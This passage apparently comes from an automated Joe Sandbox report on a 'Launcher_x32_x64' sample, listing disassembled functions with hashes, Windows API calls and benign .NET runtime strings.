Associated: 00000000.00000002.1820808703.000000000CAE0000.00000004.00000001.00040000.00000003.sdmpDownload File
Associated: 00000000.00000002.1820829854.000000000CAE2000.00000008.00000001.00040000.00000003.sdmpDownload File
Associated: 00000000.00000002.1820849565.000000000CAE7000.00000002.00001000.00040000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca90000_Launcher_x32_x64.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 26ac70af8f6603e9a6d4fba192daf2eba705ac874002df5c7c93081e78c07f9e
Instruction ID: 77174f3825e7049ae880cb6f2263628ad7c0392f2b1959535686297b9b3f1b38
Opcode Fuzzy Hash: 26ac70af8f6603e9a6d4fba192daf2eba705ac874002df5c7c93081e78c07f9e
Instruction Fuzzy Hash: F0D1A734B0121ADFCF98DF98E885AAD7B72FF84305F148129E9025B395DB706942DF80

Function 0ADB8D20 Relevance: .3, Instructions: 284COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1819849440.000000000AD61000.00000020.00000001.00040000.00000003.sdmp, Offset: 0AD60000, based on PE: true

Associated: 00000000.00000002.1819822885.000000000AD60000.00000002.00000001.00040000.00000003.sdmpDownload File
Associated: 00000000.00000002.1820046845.000000000AEB7000.00000004.00000001.00040000.00000003.sdmpDownload File
Associated: 00000000.00000002.1820046845.000000000AEBD000.00000004.00000001.00040000.00000003.sdmpDownload File
Associated: 00000000.00000002.1820078291.000000000AEBF000.00000008.00000001.00040000.00000003.sdmpDownload File
Associated: 00000000.00000002.1820097468.000000000AED0000.00000002.00001000.00040000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ad60000_Launcher_x32_x64.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0a29b725bdd67821848b0548678934bceef949e32bebf281544c35a09dbd2b20
Instruction ID: 3f197c97c48ce15971390fdb168ee912acb069d5b1150dd57f2d6af790d1378a
Opcode Fuzzy Hash: 0a29b725bdd67821848b0548678934bceef949e32bebf281544c35a09dbd2b20
Instruction Fuzzy Hash: C4C14F31A10219DFCF59CF65D858A9EBBB6FF88310F1581A9E50AEB291DB309D85CF40

Function 0ADB4600 Relevance: .3, Instructions: 284COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1819849440.000000000AD61000.00000020.00000001.00040000.00000003.sdmp, Offset: 0AD60000, based on PE: true

Associated: 00000000.00000002.1819822885.000000000AD60000.00000002.00000001.00040000.00000003.sdmpDownload File
Associated: 00000000.00000002.1820046845.000000000AEB7000.00000004.00000001.00040000.00000003.sdmpDownload File
Associated: 00000000.00000002.1820046845.000000000AEBD000.00000004.00000001.00040000.00000003.sdmpDownload File
Associated: 00000000.00000002.1820078291.000000000AEBF000.00000008.00000001.00040000.00000003.sdmpDownload File
Associated: 00000000.00000002.1820097468.000000000AED0000.00000002.00001000.00040000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ad60000_Launcher_x32_x64.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8d7d5cfc6fe426a608f3e61665ad936c0a4718fe50fed925068b05f9b0e7ad85
Instruction ID: 8cd02b3f26aeb0dca06a98818a82eb32d129ebd8472937e34673d4130382c88d
Opcode Fuzzy Hash: 8d7d5cfc6fe426a608f3e61665ad936c0a4718fe50fed925068b05f9b0e7ad85
Instruction Fuzzy Hash: D8D14E70910659CFCB25CF25D898B9ABBB2FF49304F0086ADD54EA7651DB30AE85CF50

Function 00F12060 Relevance: .3, Instructions: 279COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1815444457.0000000000E31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E30000, based on PE: true

Associated: 00000000.00000002.1815426765.0000000000E30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815712473.000000000136F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815784912.00000000014A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815800078.00000000014AC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014BB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815899742.00000000014C3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e30000_Launcher_x32_x64.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e96650c2b54a8302534c051f5cdad689d84697802ee28434091402af71eb871a
Instruction ID: 36bdcdecf5508483b7941603c45d2e5ba74a945e2278819819f9bf4c86c9b077
Opcode Fuzzy Hash: e96650c2b54a8302534c051f5cdad689d84697802ee28434091402af71eb871a
Instruction Fuzzy Hash: 94916872E001654FEB54CEB888413FDFBE2EF95320F25825AC975EB2C0D2359992E760

Function 0AD88FD0 Relevance: .3, Instructions: 262COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1819849440.000000000AD61000.00000020.00000001.00040000.00000003.sdmp, Offset: 0AD60000, based on PE: true

Associated: 00000000.00000002.1819822885.000000000AD60000.00000002.00000001.00040000.00000003.sdmpDownload File
Associated: 00000000.00000002.1820046845.000000000AEB7000.00000004.00000001.00040000.00000003.sdmpDownload File
Associated: 00000000.00000002.1820046845.000000000AEBD000.00000004.00000001.00040000.00000003.sdmpDownload File
Associated: 00000000.00000002.1820078291.000000000AEBF000.00000008.00000001.00040000.00000003.sdmpDownload File
Associated: 00000000.00000002.1820097468.000000000AED0000.00000002.00001000.00040000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ad60000_Launcher_x32_x64.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: df1042915fca61e1bb60fb3aa42e5eeb07324a93b2c54547416922cc1a8787a7
Instruction ID: 74bcc039f1f27404adefe78ccea84e57fc1dbfdd0a544cf3a4cd02c24dbebaaa
Opcode Fuzzy Hash: df1042915fca61e1bb60fb3aa42e5eeb07324a93b2c54547416922cc1a8787a7
Instruction Fuzzy Hash: E6918575A1021ADFCB05DFA9D8988EFBBB6FF88310F158225E909D7650DB306D46CB90

Function 0AD93F90 Relevance: .2, Instructions: 161COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1819849440.000000000AD61000.00000020.00000001.00040000.00000003.sdmp, Offset: 0AD60000, based on PE: true

Associated: 00000000.00000002.1819822885.000000000AD60000.00000002.00000001.00040000.00000003.sdmpDownload File
Associated: 00000000.00000002.1820046845.000000000AEB7000.00000004.00000001.00040000.00000003.sdmpDownload File
Associated: 00000000.00000002.1820046845.000000000AEBD000.00000004.00000001.00040000.00000003.sdmpDownload File
Associated: 00000000.00000002.1820078291.000000000AEBF000.00000008.00000001.00040000.00000003.sdmpDownload File
Associated: 00000000.00000002.1820097468.000000000AED0000.00000002.00001000.00040000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ad60000_Launcher_x32_x64.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5cce0e9a44f48b037aca6885254d4bc3f3840fb5f97de24e676de481da74ddc1
Instruction ID: daa264a3792bd033d666cfdb75ba34da2b9e186e17fd9b308cfe6aa494572a06
Opcode Fuzzy Hash: 5cce0e9a44f48b037aca6885254d4bc3f3840fb5f97de24e676de481da74ddc1
Instruction Fuzzy Hash: A6712774D1164A9FCF09CFA5E5945EEB7B1FF98304F10D219E86AB3261EB306985CB40

Function 0AD93BB0 Relevance: .2, Instructions: 158COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1819849440.000000000AD61000.00000020.00000001.00040000.00000003.sdmp, Offset: 0AD60000, based on PE: true

Associated: 00000000.00000002.1819822885.000000000AD60000.00000002.00000001.00040000.00000003.sdmpDownload File
Associated: 00000000.00000002.1820046845.000000000AEB7000.00000004.00000001.00040000.00000003.sdmpDownload File
Associated: 00000000.00000002.1820046845.000000000AEBD000.00000004.00000001.00040000.00000003.sdmpDownload File
Associated: 00000000.00000002.1820078291.000000000AEBF000.00000008.00000001.00040000.00000003.sdmpDownload File
Associated: 00000000.00000002.1820097468.000000000AED0000.00000002.00001000.00040000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ad60000_Launcher_x32_x64.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d72b86fa2967c0d52705713bfd151ef32f92bd49bdd8c2bece3ee28c8ea25491
Instruction ID: e1106aa598dee5a129eede45a5a4180185a9c768903b9d11c0bd9ef62b322f48
Opcode Fuzzy Hash: d72b86fa2967c0d52705713bfd151ef32f92bd49bdd8c2bece3ee28c8ea25491
Instruction Fuzzy Hash: D0712834D1164A9FDF09CFA5E5945EEB771FFA8304F10D21DE86AB2261EB306985CB40

Function 01323650 Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1815444457.0000000000E31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E30000, based on PE: true

Associated: 00000000.00000002.1815426765.0000000000E30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815712473.000000000136F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815784912.00000000014A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815800078.00000000014AC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014BB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815899742.00000000014C3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e30000_Launcher_x32_x64.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction ID: 0f016f3cae13dcb32a0db14a8da7b46da7c1a92bf3829329b2d4b8b041fcef55
Opcode Fuzzy Hash: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction Fuzzy Hash: FD11387720106243E634AA2DD5F85B6EB9DFACD23C72D427AD2424B744C22BE0459500

Function 0109A6E0 Relevance: .0, Instructions: 2COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1815444457.0000000000E31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E30000, based on PE: true

Associated: 00000000.00000002.1815426765.0000000000E30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815712473.000000000136F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815784912.00000000014A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815800078.00000000014AC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014BB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815899742.00000000014C3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e30000_Launcher_x32_x64.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4c0459424f1116aad770ded283a34064420ff478638f7431598b181d6a31c336
Instruction ID: 515e982fcc113093bc8b9341a6cdcd2dd9e3cb9215dfa8f3b5e9b2f25e208636
Opcode Fuzzy Hash: 4c0459424f1116aad770ded283a34064420ff478638f7431598b181d6a31c336
Instruction Fuzzy Hash:

Function 00F0C820 Relevance: 94.9, APIs: 39, Strings: 15, Instructions: 389filestringCOMMON

Download Yara Rule

APIs

_swprintf.LIBCMT ref: 00F0C884
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000000,?,?,00000000,00001000), ref: 00F0C898
WriteFile.KERNEL32(?,00000000,?,?,?,00000000,00001000), ref: 00F0C8AD
_swprintf.LIBCMT ref: 00F0C8CD
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000000), ref: 00F0C8E1
WriteFile.KERNEL32(?,00000000), ref: 00F0C8F6
_swprintf.LIBCMT ref: 00F0C916
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000000), ref: 00F0C92A
WriteFile.KERNEL32(?,00000000), ref: 00F0C93F
_swprintf.LIBCMT ref: 00F0C95F
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000000), ref: 00F0C973
WriteFile.KERNEL32(?,00000000), ref: 00F0C988
_swprintf.LIBCMT ref: 00F0C99D
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000000), ref: 00F0C9B1
WriteFile.KERNEL32(?,00000000), ref: 00F0C9C6
_swprintf.LIBCMT ref: 00F0C9E6
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000000), ref: 00F0C9FA
WriteFile.KERNEL32(?,00000000), ref: 00F0CA0F
_swprintf.LIBCMT ref: 00F0CA2F
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000000), ref: 00F0CA43
WriteFile.KERNEL32(?,00000000), ref: 00F0CA58
_swprintf.LIBCMT ref: 00F0CA78
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000000), ref: 00F0CA8C
WriteFile.KERNEL32(?,00000000), ref: 00F0CAA1
_swprintf.LIBCMT ref: 00F0CAC1
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000000), ref: 00F0CAD5
WriteFile.KERNEL32(?,00000000), ref: 00F0CAEA
_swprintf.LIBCMT ref: 00F0CB18
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000000), ref: 00F0CB2C
WriteFile.KERNEL32(?,00000000), ref: 00F0CB41
_swprintf.LIBCMT ref: 00F0CB61
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000000), ref: 00F0CB75
WriteFile.KERNEL32(?,00000000), ref: 00F0CB8A
_swprintf.LIBCMT ref: 00F0CBAA
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000000), ref: 00F0CBBE
WriteFile.KERNEL32(?,00000000), ref: 00F0CBD3
_swprintf.LIBCMT ref: 00F0CC2E
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000000), ref: 00F0CC42
WriteFile.KERNEL32(?,00000000), ref: 00F0CC57

Strings

%-30s %d, xrefs: 00F0C879, 00F0C8C2, 00F0C90B, 00F0C954, 00F0C9DB, 00F0CA24, 00F0CA6D, 00F0CAB2, 00F0CB56, 00F0CB9F
stub_poly_counter, xrefs: 00F0CA68
cache_entry_counter, xrefs: 00F0CB51
site_counter, xrefs: 00F0C874
cache_entry_space, xrefs: 00F0CB9A
stub_lookup_counter, xrefs: 00F0C9D6
stub_space, xrefs: 00F0CAAD
site_write_mono, xrefs: 00F0C906
stub data, xrefs: 00F0C98E
site_write_poly, xrefs: 00F0C94F
%-30s %zu, xrefs: 00F0CB0D
cache_entry_used, xrefs: 00F0CB08
cache_load:%zu used, %zu total, utilization %#5.2f%%, xrefs: 00F0CC23
stub_mono_counter, xrefs: 00F0CA1F
site_write, xrefs: 00F0C8BD

Memory Dump Source

Source File: 00000000.00000002.1815444457.0000000000E31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E30000, based on PE: true

Associated: 00000000.00000002.1815426765.0000000000E30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815712473.000000000136F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815784912.00000000014A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815800078.00000000014AC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014BB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815899742.00000000014C3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e30000_Launcher_x32_x64.jbxd

Similarity

API ID: FileWrite_swprintfstrlen
String ID: %-30s %d$%-30s %zu$cache_load:%zu used, %zu total, utilization %#5.2f%%$stub data$cache_entry_counter$cache_entry_space$cache_entry_used$site_counter$site_write$site_write_mono$site_write_poly$stub_lookup_counter$stub_mono_counter$stub_poly_counter$stub_space
API String ID: 1354552572-2971453786
Opcode ID: 173761f51f97cc301820108f8575f8c19b1a0f3668f53a44b1adc5f082350c3f
Instruction ID: 1b2e758ed9e1869696b0384c49010ec2463ac6be82601a524e9b2c4eba482644
Opcode Fuzzy Hash: 173761f51f97cc301820108f8575f8c19b1a0f3668f53a44b1adc5f082350c3f
Instruction Fuzzy Hash: 76F16AB2504304AFD721CF64EC99F8777ECBB09B04F04453AF649DA262D772A918CB96

Function 00F2D830 Relevance: 37.1, APIs: 2, Strings: 19, Instructions: 373COMMON

Download Yara Rule

APIs

LeaveCriticalSection.KERNEL32(014B0F90,?,0000002C,?), ref: 00F2D8B6
SetEvent.KERNEL32(?), ref: 00F2D8F1

Strings

System.Threading.ThreadPool.HillClimbing.ErrorSmoothingFactor, xrefs: 00F2DA7B
System.Threading.ThreadPool.HillClimbing.SampleIntervalHigh, xrefs: 00F2DBD1
System.Threading.ThreadPool.HillClimbing.MaxChangePerSample, xrefs: 00F2DB5F
System.Threading.ThreadPool.HillClimbing.Disable, xrefs: 00F2DA09
System.Threading.ThreadPool.DisableStarvationDetection, xrefs: 00F2D997
System.Threading.ThreadPool.HillClimbing.MaxSampleErrorPercent, xrefs: 00F2DB85
System.Threading.ThreadPool.HillClimbing.TargetSignalToNoiseRatio, xrefs: 00F2DA55
System.Threading.ThreadPool.HillClimbing.SampleIntervalLow, xrefs: 00F2DBAB
System.Threading.ThreadPool.HillClimbing.GainExponent, xrefs: 00F2DBF7
System.Threading.ThreadPool.MinThreads, xrefs: 00F2D94B
System.Threading.ThreadPool.UnfairSemaphoreSpinLimit, xrefs: 00F2D9E3
System.Threading.ThreadPool.MaxThreads, xrefs: 00F2D971
System.Threading.ThreadPool.HillClimbing.MaxWaveMagnitude, xrefs: 00F2DAC7
System.Threading.ThreadPool.HillClimbing.WaveHistorySize, xrefs: 00F2DAED
System.Threading.ThreadPool.HillClimbing.Bias, xrefs: 00F2DB13
System.Threading.ThreadPool.HillClimbing.MaxChangePerSecond, xrefs: 00F2DB39
System.Threading.ThreadPool.HillClimbing.WaveMagnitudeMultiplier, xrefs: 00F2DAA1
System.Threading.ThreadPool.HillClimbing.WavePeriod, xrefs: 00F2DA2F
System.Threading.ThreadPool.DebugBreakOnWorkerStarvation, xrefs: 00F2D9BD

Memory Dump Source

Source File: 00000000.00000002.1815444457.0000000000E31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E30000, based on PE: true

Associated: 00000000.00000002.1815426765.0000000000E30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815712473.000000000136F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815784912.00000000014A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815800078.00000000014AC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014BB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815899742.00000000014C3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e30000_Launcher_x32_x64.jbxd

Similarity

API ID: CriticalEventLeaveSection
String ID: System.Threading.ThreadPool.DebugBreakOnWorkerStarvation$System.Threading.ThreadPool.DisableStarvationDetection$System.Threading.ThreadPool.HillClimbing.Bias$System.Threading.ThreadPool.HillClimbing.Disable$System.Threading.ThreadPool.HillClimbing.ErrorSmoothingFactor$System.Threading.ThreadPool.HillClimbing.GainExponent$System.Threading.ThreadPool.HillClimbing.MaxChangePerSample$System.Threading.ThreadPool.HillClimbing.MaxChangePerSecond$System.Threading.ThreadPool.HillClimbing.MaxSampleErrorPercent$System.Threading.ThreadPool.HillClimbing.MaxWaveMagnitude$System.Threading.ThreadPool.HillClimbing.SampleIntervalHigh$System.Threading.ThreadPool.HillClimbing.SampleIntervalLow$System.Threading.ThreadPool.HillClimbing.TargetSignalToNoiseRatio$System.Threading.ThreadPool.HillClimbing.WaveHistorySize$System.Threading.ThreadPool.HillClimbing.WaveMagnitudeMultiplier$System.Threading.ThreadPool.HillClimbing.WavePeriod$System.Threading.ThreadPool.MaxThreads$System.Threading.ThreadPool.MinThreads$System.Threading.ThreadPool.UnfairSemaphoreSpinLimit
API String ID: 196474737-3657790599
Opcode ID: 62952d140ca0f99f0f0a091bc6cb2c731005268464425ae2b436222f327bb93e
Instruction ID: 55d6f4e9ce8c4deefeab8217368fe982c3b656850bffffcc83d997f7817eb7be
Opcode Fuzzy Hash: 62952d140ca0f99f0f0a091bc6cb2c731005268464425ae2b436222f327bb93e
Instruction Fuzzy Hash: 01A1E832BC021456C720EB59FC42BE8F360EB91775F2041ABFA14AB2D1D7B66919E690

Function 00EE46E0 Relevance: 31.6, APIs: 3, Strings: 15, Instructions: 145stringmemoryCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,00EE4E71,0140DE38,?,?), ref: 00EE46EA
HeapFree.KERNEL32(00000000), ref: 00EE4741
strcpy_s.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?), ref: 00EE4763

Strings

Byte, xrefs: 00EE480F
Int16, xrefs: 00EE4819
Boolean, xrefs: 00EE47FB
UInt16, xrefs: 00EE4823
Void, xrefs: 00EE47F1
Single, xrefs: 00EE4873
SByte, xrefs: 00EE4805
Double, xrefs: 00EE487D
**UNKNOWN TYPE**, xrefs: 00EE4D52
UInt32, xrefs: 00EE4855
UInt64, xrefs: 00EE4869
System.String, xrefs: 00EE4891
Int32, xrefs: 00EE484B
Int64, xrefs: 00EE485F
Char, xrefs: 00EE482D

Memory Dump Source

Source File: 00000000.00000002.1815444457.0000000000E31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E30000, based on PE: true

Associated: 00000000.00000002.1815426765.0000000000E30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815712473.000000000136F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815784912.00000000014A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815800078.00000000014AC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014BB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815899742.00000000014C3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e30000_Launcher_x32_x64.jbxd

Similarity

API ID: FreeHeapstrcpy_sstrlen
String ID: **UNKNOWN TYPE**$Boolean$Byte$Char$Double$Int16$Int32$Int64$SByte$Single$System.String$UInt16$UInt32$UInt64$Void
API String ID: 2476811093-2821386802
Opcode ID: 560d9a5dbff6a9fa82b9be0e12f3037a3233e6e1e685bc92a3c8f35178f0e3a2
Instruction ID: 551963af44ba4eefcdde3edd36c9c41ba64b097ae045352ffc247e0ddd35218e
Opcode Fuzzy Hash: 560d9a5dbff6a9fa82b9be0e12f3037a3233e6e1e685bc92a3c8f35178f0e3a2
Instruction Fuzzy Hash: 244102B060424DEBCB14CF67DC809BAB7A4FB05310F70523BE956B32A1EB75AD148B80

Function 0113F580 Relevance: 26.5, APIs: 11, Strings: 4, Instructions: 266stringmemoryCOMMON

Download Yara Rule

APIs

strtoull.API-MS-WIN-CRT-CONVERT-L1-1-0(00000000,00000000,00000010,00000000,00000000,00000000), ref: 0113F676
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 0113F685
strtoul.API-MS-WIN-CRT-CONVERT-L1-1-0(00000000,00000000,0000000A,00000000,00000000,00000000), ref: 0113F6BF
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 0113F6CC
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(Microsoft-Windows-DotNETRuntimeRundown,00000000,00000000,00000000,00000000), ref: 0113F70F
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,0113F3D4,00000001,0113F3D4,00000001,00000001,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0113F797
free.API-MS-WIN-CRT-HEAP-L1-1-0(50520774,0113F3D4,00000001,0113F3D4,00000001,00000001,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0113F7A8
HeapFree.KERNEL32(00000000,0113F3D4,0113F3D4,00000001,0113F3D4,00000001,00000001,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0113F7C5
_strdup.API-MS-WIN-CRT-STRING-L1-1-0(Microsoft-Windows-DotNETRuntime,00000000,00000000,00000000), ref: 0113F81B
_strdup.API-MS-WIN-CRT-STRING-L1-1-0(Microsoft-Windows-DotNETRuntimePrivate,C14FCCBD,00000004,00000005,00000000), ref: 0113F83D
_strdup.API-MS-WIN-CRT-STRING-L1-1-0(Microsoft-DotNETCore-SampleProfiler,4002000B,00000000,00000005,00000000), ref: 0113F860

Strings

Microsoft-Windows-DotNETRuntimePrivate, xrefs: 0113F838
Microsoft-DotNETCore-SampleProfiler, xrefs: 0113F85B
Microsoft-Windows-DotNETRuntime, xrefs: 0113F816
Microsoft-Windows-DotNETRuntimeRundown, xrefs: 0113F70A

Memory Dump Source

Source File: 00000000.00000002.1815444457.0000000000E31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E30000, based on PE: true

Associated: 00000000.00000002.1815426765.0000000000E30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815712473.000000000136F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815784912.00000000014A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815800078.00000000014AC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014BB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815899742.00000000014C3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e30000_Launcher_x32_x64.jbxd

Similarity

API ID: free$_strdup$FreeHeapstrcmpstrtoulstrtoull
String ID: Microsoft-DotNETCore-SampleProfiler$Microsoft-Windows-DotNETRuntime$Microsoft-Windows-DotNETRuntimePrivate$Microsoft-Windows-DotNETRuntimeRundown
API String ID: 1615690062-209705412
Opcode ID: 045ac9b415627c63c72b88b0c4407c0c68aa9011d5a11395c12e47168f000db8
Instruction ID: 64d0cc2409813fac2ad458dbf70e279ad8830d18e5a8877749224fec8a1ab3b7
Opcode Fuzzy Hash: 045ac9b415627c63c72b88b0c4407c0c68aa9011d5a11395c12e47168f000db8
Instruction Fuzzy Hash: 3A913671E003169BEF29CF6CD844BAEBFB0AF85710F144159E944BB398D770A902CB96

Function 010C3830 Relevance: 22.8, APIs: 8, Strings: 5, Instructions: 94pipeCOMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32(?,00000000,Function_003185E0,?,?,010C3664,Function_003185E0), ref: 010C3849
GetLastError.KERNEL32(?,010C3664,Function_003185E0), ref: 010C3864
DisconnectNamedPipe.KERNEL32(?,00000000,Function_003185E0,?,?,010C3664,Function_003185E0), ref: 010C38B3
GetLastError.KERNEL32(?,010C3664,Function_003185E0), ref: 010C38C2
